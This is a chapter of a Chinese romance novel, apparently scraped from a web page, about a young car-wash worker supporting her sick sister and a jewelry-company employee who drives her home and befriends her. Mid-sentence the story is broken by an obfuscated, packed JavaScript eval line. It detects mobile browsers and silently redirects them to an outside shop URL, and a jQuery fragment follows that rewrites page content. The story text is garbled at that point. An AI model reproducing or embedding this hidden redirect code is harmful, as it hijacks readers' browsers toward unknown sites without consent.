“你不走么？”
车始终停在路边车位，宋槐抬头才反应过来。
温诚回神儿从她脸上挪走，望前方那个路口，依旧是红灯，“再等会儿，还是红灯。”他脖颈潮湿，还有浑身被衬衣裹着很黏腻，掣肘他抬胳膊，他伸手摸向中控台，东西零碎，就是没纸巾，于是又收回手。
“有湿巾，要么？”宋槐从口袋里掏出半包心相印，抽三张递给他，“给。”
“谢谢，”温诚余光扫过，“生病了？买这么多药。”
“我妹妹病了，晚上刚从医院出来，吃坏肚子了，有点儿低烧，走之前刚量过体温，三十七度六，还不能喝布洛芬。”
温诚下巴抬抬，语气捎带促狭，“小小年纪成药罐子了，下个月月底把你妹送到幼儿园，你不行，你看不了孩子，祖国花朵不能被你辣手摧花，”
越说越悠闲，颇有些漫不经心的敲方向盘，“我都怀疑你妹是怎么完好无损被你带大的。”
“你这人说话真难听，”宋槐重新系好塑料袋，却没真正吵架的意思，“我比你会带孩子，她从小到大吃什么药，哪个季节容易得哪种病，我都清楚，小孩就这样，免疫力不行。”
当然，也并非所有孩子都免疫力低下，最起码她们是。
妹妹还好，宋槐则更甚。
父亲把全家扔在槐林后，就再没吃过什么好东西，白粥馒头配咸菜，或者从楼下超市买王致和老干妈。衣服也没几件儿来回倒腾穿，短袖外套层棉衣就能过冬，脱了就渡夏，自然经常得病，上吐下泻，起各种疹子，只要不烧到四十度就自己扛。
宋槐记得她那片社区有家小诊所，挂号看病才五块钱，最后被政府抓了，说是江湖骗子，原来那医馆也是推拿馆修的，改改招牌，换几幅锦旗就有资本出来骗小县城的人。
现在回想还挺有意思，那骗子被警察追的满县乱窜，住楼房的推开窗户看，住没拆迁的平房就站大门口瞧，看他手里拔罐瓶子还没来得及放，就自己摔倒啃黄土上了。
温诚看她竟然在笑，嘴角微扬，“你笑什么，你妹生病了这么开心。”
宋槐也回神儿，收敛偶有的笑容，“哦，因为我国庆太忙，没顾上管她。”
“我就知道你国庆不休息，一共八天七天都在赚钱，少挣一天能怎么样？”
“能饿死。”
“至于么你，孩子病着你去挣钱？”
“我休息一天。”
再次陷入安静。
温诚有点怀念刚才那转瞬即逝的笑，她笑起来明明更好看，干嘛总哭丧着脸，不知道以为给谁养老送终。
除去某些时刻破天荒的笑意，其余时间他都觉得她难以接近。第一次见面也是这样，她弯腰弓背攥着一小片报纸擦玻璃，皮肤白皙身体单薄如一张熟宣，六月处暑天，烈日如火炙烤大地，她倒清冷的与周围划一条楚河汉界。
他到底为什么和她发生后续这么多事？又为什么在今晚送她回短租？他们明明是两个不同世界的人，如果不刻意，就会一辈子毫无瓜葛。可很多事情玄之又玄，根本无法作解，正如洪水猛兽袭来，你闪躲不开。
说实话，温诚特想揪着她耳朵骂一顿，他想不通年纪轻轻怎么总委屈自己，身体才是革命本钱这都不懂么？有些东西钱换不来。
但他忍住了。
乔潭立自从知道温诚往店里送了不少钱，还没办洗护套餐，就说：“你这人真贱，人家那态度你还上赶的，看来这种激将法适合你。”
“不，适合所有男人。”温诚当时这么回答。
贱就贱吧，这有什么的，这类物种基因里携带劣根性。
宋槐就像花店里的观赏性仙人掌，远看近看都毛茸茸的，当你伸手以指腹去接近，却被扎疼了。可人们还愿意养着，浇水，施肥，晒太阳，因为它有可爱可取之处...是这样没错，她笑起来很可爱，浓密睫羽轻轻颤着，敛起所有温柔和倔强，让他没忍住多看几眼，几秒钟。
可惜她不常笑。
“绿灯了。”
她再次提醒。
“哦。”
“你刚才想什么，在心里骂我？我早和你说过了，每个人都不一样，我洗车挣我的钱，我努力过好日子，有错么？”
温诚一下无语的笑了，“我什么时候说你错了，多大一顶帽子扣上来，我都来不及躲，还有，你怎么把我想那么损。”
“你不损么？”
“停，我不想和你吵架，今晚上我心情不错，你别破坏我的好心情。”
宋槐不理他，反正也习惯温诚的脾气，她拢拢腿上的塑料袋，收紧领口，靠着椅背休息。
秋季雨夜，路面湿滑，所有车都不敢加速，正如轿厢里的空气一样凝滞，温诚看左右两侧变道的车，余光恰好看见宋槐发丝里露出的耳朵，耳垂小，有些红，他的目光赶紧收回去，心头痒了那么一下。坐副驾的宋槐并不晓得他怎么想的，但感受到了视线，朝温诚看过去，“你看什么。”
“看车，”温诚嘴硬，扬了扬眉毛，“怕蹭了。”
“那麻烦你在路口停一下，我买点晚饭。”
“对面那家？”
“是。”
“我去吧。”
“给你伞。”宋槐把折叠伞递给他。
沃尔沃靠路口停稳，宋槐目光追随他开门下车，撑伞到罗森店前，自动门一开，再收伞走进去，错落的货架把他遮掩，看方向应该是去了冷藏区。不出片刻，他在收银台前结账，店员举着收款扫描仪，刷了一个又一个，最后扯两大塑料袋兜起来。温诚左右手拎着出门那一刻，宋槐马上挪开眼。
门开，他把袋子扔宋槐腿上，满满当当，聚丙烯塑料袋柔软，没折痕，更听不到嘈杂响声。宋槐拨开看，五六只小笼包，浓油赤酱的烤串，玉米和茶叶蛋，咽口唾沫，再翻翻，应该是盒装沙拉，看背面标签正好瞥到价格。
“42块？”她心想，一盒这么贵啊。
“车里吃，着急回么？你妹晚上喝不喝药？”
宋槐摇摇头，心思全在价签上，“一共多少钱，我转你。”
“忘了。”
“发票呢？”
“没要。”他看那两双大眼睛就想笑，“别盯着我看了行不行。”
“那怎么还你钱。”
“洗车，要么护理，反正你那洗一次不也挺贵？来回算算我不吃亏，你觉得呢？”
“那我吃了。”宋槐隔着食品袋拿包子吃，几乎一口一个，塞进嘴也不怎么嚼就咽，温诚看在眼里，就说她：“有没有人说过，你吃相特别难看。”
宋槐低着头，嘴没停下，胳膊肘架在膝盖上，余光也不看他。
语气含混不清，滚烫的食物在口腔里，边吹气边说，“你们公司有吃饭休息时间，我没有，全年全天24小时不休息，客人来了就得干活，不能让人家等，等久了会冲我发脾气。”
小半年前她刚来望海，以为给人家洗车算轻松活，能买得起车，人也不可能小气，没料到社会上参差不齐，有人的地方就有纷争，服务业不好干，这块玻璃没擦好，那轮胎没冲干净，都被指鼻子骂过。
宋槐也分析反思为什么被骂，答案很简单，还不是她那张脸？永远面无表情，让人越看越火大，可她又做不到为别人点头哈腰，像阿金那样嘻嘻哈哈赔不是，摸摸后脖颈叫几声哥，什么事儿都能过去。
自那之后，宋槐就越吃越快，她这么对温诚讲述。
温诚也是合格的聆听者，只在她说完后提问，“你之前那个工作呢？”
“服务员？我不想做这个，虽然休息时间多，但钱少，没上升空间。”
端盘子和做家务一样让她讨厌，或者畏惧，那种生活从十几岁就开始了，手里的课本变成抹布尿布，每天围在灶台油烟前，油烟机风量小，灯和集油盒都坏损掉，整天乌烟瘴气的，将视线遮挡，望不到前方的路。
她不希望她的未来被油烟笼罩，她要离开，她要自由。
“人往高处走，而且我也挺幸运，遇到衫姐了，如果不是她，我现在连饭都吃不饱，”宋槐说，“我端盘子，最多也就是大堂经理，但是和阿金干汽配，可以学学口语拉投资，做外贸，虽然挺远的，但最起码清楚下一步怎么走。”
“考不出去就走出去。”
温诚的目光始终未挪走，看着她，很深很深。
嗡一声，脑子好像穿过一条白色鱼线，十分锐利。
宋槐注意到，开始不自在，讪讪的补充，“我们老师说的。”
——考不出去就走出去。
全国各地教育水平参差不齐，分数线也不同，北方县乡村落的孩子很吃亏。无非后者更艰苦些，但腿长人身上，想去哪去哪，槐林一个小县城，火车车程几分钟，临走前她看着窗外快速倒退的景色，开始怀念学校的老师，教导主任蔡春泉，长卷发的语文班主任高沅峰，以及那片玻璃蓝的澄澈天空，太阳像橘子一样辉煌。
她这辈子接受最大的善意就来自老师，他们会告诉她，“小姑娘，你未来可期，等再过十年，二十多岁了你来看老师，你肯定是咱槐林最有出息的学生，别把老师忘了。”
宋槐不知不觉和温诚说了很多，他们似乎超越从前的关系，自然而然跨过一条界限，有种感觉在点滴中变化。
“大家都一样。”他说。
宋槐吃不了那么多，系袋子时还诧异的看了他一下，“一样什么。”
“一样是社畜，”温诚说，“我和乔潭立大学一个上海，一个江苏，毕业了才到这里发展。”
他说，俩人当时初出茅庐年轻气盛，以为高学历不仅是敲门砖，还能直奔人生坦途，事实证明，钱不可能那么容易捞你手里。
实习期他被下调到作坊和设计师学定制钻戒，从图纸设计开始，3d起版要检查镶嵌位置，误差不能超过正负0.5厘米，这是人工，最后交给qc机检不能超正负0.05，然后才能制作蜡板，到手工执模。
都是精细活，主管说你不擅长就滚蛋，你不干有的是人干，狼多肉少，找工作难上加难。
最难受的是前一秒在吃饭，后一秒喊你开会，你得从楼下狂奔到会议室，多迟到一分钟，就少一分转正的希望。
千军万马过独木桥的校招，注定被当作牛马的大学生，似乎普通人生来就要经历很多困难的，没有退路，容错率太低。
分享过往不算倒情绪垃圾。
深夜，两个人，坐晦暗的车厢里，突然有些感慨。
是心无所依，身无所靠，漂泊似浮萍的寂寞。
转眼，车停在短租公寓楼下。
车灯雨刷器未关，宋槐拉车门，锁了，“我要下车了。”
谁料到他往椅背上一靠，眼风含笑扫过，“聊这么多有没有什么表示的。”
“给你洗车？明天....后天，明天不行。”
“你觉得咱们现在是什么关系。”
“那你觉得呢？”
“不算朋友？”他问。
“什么才能算作朋友。”
温诚把内饰灯全开了，看她本能合了下眼睛，“为什么不能算，一个人在一个地方，总要有能说上话的人吧。”
“你说是就是吧。”
“.......”
真无语，他半开玩笑半认真，“跟我做朋友这么让你难堪？”
宋槐摇了摇头，她解
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054591|149140||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开安全带准备下车，温诚看她拉不开门有点着急的样子忽然后悔了，后悔主动和她做朋友，就是这么个木头，还有点讷，但话已出口就没撤回的道理，他解了锁，不忘说：“让我进去喝点水。”
-
进大厅时，楼管还在温诚身上多打量几眼，看这男人满身水汽，还有颀长身形与之格格不入的破旧环境。
楼梯很窄，两人前后走着，宋槐问他，“为什么想和我做朋友。”
“这有什么可问的。”
“你不总嫌我很冷，我这人情商低，不好相处，你还总说我这不好那不好。”
温诚没着急回答，跟她一路走，一路四处打量，狭窄的走廊，时明时暗的声控灯，房门有标号，地面竟然连地毯都没铺，目光再垂落，看她掏钥匙开门，轻手轻脚进屋，开了玄关的灯。
灯丝应该烧坏了，暗沉沉的，很怪异的蟹壳青，她走近床边探手摸了摸孩子额头，又抽出体温计甩甩，塞咯吱窝里，掖掖被角让孩子躺好。
这短租房实在过于朴素，房顶低，墙壁裂缝多，壁纸都遮不住，桌椅板凳床都堆在几十平米的家里，麻雀虽小五脏俱全，是这个理没错，但住着不会舒服。
温诚的存在让屋子变得更窘迫，宋槐抬眼望去没什么落脚空地，但人已经上来，不能再赶下去，她只能倒开水涮杯子，倒水时经过他，被一只手揪到他面前，实打实握着她胳膊，宋槐呼吸僵了一顺，抬眼看他，“干嘛。”
“想到原因了，”温诚看她那双很倔的眼神，被雨水洇湿的碎发，忽然就开了口，“就是觉得你有意思。”
“把我当笑话看么？那还是算了吧。”
“不是，”他笑了，“你怎么理解的。”
宋槐不吭气了。
“反正你这样的人，放在2023年很少见。”
他的一蓬气息打在宋槐头顶，很凉，钻进脖颈也痒，她说，“我不觉得有意思这个词是褒义词。”
温诚弯下腰和她平视，望一眼那孩子熟睡着，压低声线，沙沙的刮蹭她耳朵，“在我这算。”
宋槐眼神很不屑，“我是不是该谢谢你，这算夸我？”
“不客气。”
“你很无聊。”
他垂眼看着宋槐，并没有生气。
“水我就不喝了，”温诚拉开门站楼道里，“最后劝你一句，换个好点儿的地方，别凑乎，火锅店短租房，这环境你妹能不病么？”
“再见。”宋槐毫不留情的关上门。
他还没反应过来呢，面前就成一扇门了。
一个门里，一个门外。
“诶，有你这么赶人走的么？”
“.......”
宋槐没再回答。
等五分钟时间到，宋槐拿起体温计，捻手指间仔细观察，36.8，基本退烧了。她先趁热吃完袋子里的东西，去卫生间洗漱，捧把水往脸上扑，随手拿毛巾一擦，撑在台上看镜子。
她只记得刚才光线昏暗，温诚的黑影将自己笼罩，有种感觉在慢慢攀升，宋槐后知后觉心跳加速。
甚至有点畏惧。
她不知道温诚没直接回家，而是被乔潭立约出去喝酒。
她不知道那边，乔潭立醉醺醺的问他，“有意思？这就成朋友了？”
“那请问你的性别。”
“男。”
“她的性别？”
“女。”
乔潭立两手一拍，“结案，男人对女人的有意思。”
温诚没旋即给出答案，过了很久，才用一双似醉非醉的眼睛看着前面，“好像是这样。”
-
大约两三天后，温诚一直没联系她洗车，宋槐想发消息，字还在对话框里落着，他倒先打来电话。
他给她解释，“最近忙，没空联系你，你呢，还在洗车行？”
“我一直都在啊。”
“不考虑真正休息半天？”
“什么意思。”她不太明白。
温诚坐转椅上思索，看那张音乐酒馆传单，指尖压着，“我们部门团建，这周末，去么？正好小酒馆有歌手来，北京一家酒馆的驻唱。”
“你们部门团建我为什么要去。”宋槐不理解。
“我和你不是朋友么？”他承认这个邀请属于黄鼠狼给鸡拜年，一点儿不单纯，“请你喝杯汽水很正常吧。”
宋槐在斟酌，她真的没兴趣，但不好驳温诚面子，
这思考空档温诚告诉她，“你不是一直要还我钱？陪我去玩，就算我们扯平。”
“......”她垂下眼睫思忖，隔着微弱电流声，计算少洗半天车得亏多少钱，
可温诚又说了，“你们那放个假判几年？部门有个同事不去，你替她上。”
“因为这个啊...”她说。
声音轻轻的，像股风剐蹭着温诚耳蜗，对话秒数增加，却迎来相当一段沉默，两个人都不敢怎么喘气，宋槐靠在收银台前，仰头望天花板，简约照明灯刺着眼睛，良久，她才恢复正常语气，“好，我尽量早点下班。”
“如果去不了，我会提前一天告诉你，”她说，“可能要陪阿金喝酒了。”
收到这条消息时温诚差点一口水没喷出去，骂她的话已经在框里了，又全部删掉。他的朋友很多，他也有交朋友的智慧，磁场合适的人才能在一块儿，显然宋槐没那个脑子，她的那个朋友出去应酬，大概率还要拉上她一块陪酒，开什么玩笑，两个脑缺，
“女生在酒桌上，能不喝就不喝。”
他没再说其他。
当晚失眠时分，辗转反侧，点开手机看一眼列表，没新消息才将被子蒙过头顶，凌晨才睡着。